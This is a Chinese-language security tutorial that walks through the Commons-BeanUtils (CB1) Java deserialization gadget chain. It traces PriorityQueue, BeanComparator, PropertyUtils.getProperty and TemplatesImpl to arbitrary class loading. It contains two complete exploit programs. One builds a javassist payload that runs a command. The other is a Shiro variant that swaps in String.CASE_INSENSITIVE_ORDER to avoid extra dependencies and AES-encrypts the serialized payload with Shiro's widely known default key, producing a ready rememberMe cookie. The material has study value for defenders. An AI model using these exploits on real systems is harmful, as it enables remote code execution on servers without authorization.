目录
关于commons-beanutils
关于PropertyUtils.getProperty
TemplatesImpl实例化类的调用链路
TemplatesImpl#getOutputProperties竟是getter方法
接轨TemplatesImpl链的关键类——BeanComparator
exp
无依赖的Shiro反序列化利用链
关于commons-beanutils
Apache Commons BeanUtils 是 Apache 软件基金会下的一个开源项目,提供了一组工具方法,用于简化 Java 对象(Bean aka POJO)之间的属性拷贝、类型转换等操作。
关于PropertyUtils.getProperty
PropertyUtils.getProperty 是 Apache Commons BeanUtils 提供的一个方法,用于获取 JavaBean 对象的属性值。该方法会自动去调用一个JavaBean的getter方法。
代码示例:
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Main {
public static void main(String[] args) {
// 创建一个示例对象
Person person = new Person("Alice", 25);
try {
// 获取属性值
String name = (String) PropertyUtils.getProperty(person, "name");
int age = (int) PropertyUtils.getProperty(person, "age");
System.out.println("Name: " + name);
System.out.println("Age: " + age);
} catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
e.printStackTrace();
}
}
}
class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
// 省略 getter 和 setter 方法
}
TemplatesImpl实例化类的调用链路
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
我们的最终目的是走到defineClass这一步,但只要可以调用这条链上的任一方法就可以触发连锁反应,最后达成目的
而CB1链,正是通过getOutputProperties的调用来完成攻击的
TemplatesImpl#getOutputProperties竟是getter方法
意料之外,情理之中
outputProperties是一个私有属性
private Properties _outputProperties;
重写了getter方法
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
算是一个比较抽象的bean(
接轨TemplatesImpl链的关键类——BeanComparator
反序列化的入口类是PriorityQueue,其readObject方法最终会调用传入comparator的compare方法(具体分析可以看文章一开始贴的链接)
下面我们来看BeanComparator的compare方法
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取传入的两个对象的 this.property 属性,而this.property是在BeanComparator的构造方法处传入的(也可以用反射来操作),完全可控
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
当o1/o2是一个 TemplatesImpl 对象时,property 的值为 outputProperties 时,我们就可调用TemplatesImpl#getOutputProperties(),完成攻击链的调用
观察PriorityQueue的构造方法
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
我们可以用反射操作PriorityQueue的queue属性为TemplatesImpl 对象的方式来实现目的。
exp
这里用的是javassist来获取字节码
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
召唤计算器的神奇咒语:
package com.CB1;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CB1");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new java.util.PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
无依赖的Shiro反序列化利用链
Shiro中默认依赖了commons-beanutils
调用BeanComparator
的无参构造时,会默认使用ComparableComparator.getInstance()
public BeanComparator() {
this((String)null);
}
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
但Shiro的默认依赖里面没有 org.apache.commons.collections.comparators.ComparableComparator
我们需要找到平替
需要满足如下条件:
-
实现
java.io.Serializable
接口
-
实现
java.util.Comparator
接口
-
最好是java或shiro自带的
找到了CaseInsensitiveComparator
这个类是java.lang.String
下的内部私有类 我们通过String.CASE_INSENSITIVE_ORDER
来获取
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
最终exp
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",
new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue pq = new PriorityQueue(comparator);
setFieldValue(pq, "size", 2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(pq, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(pq);
oos.close();
// System.out.println(barr);
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
}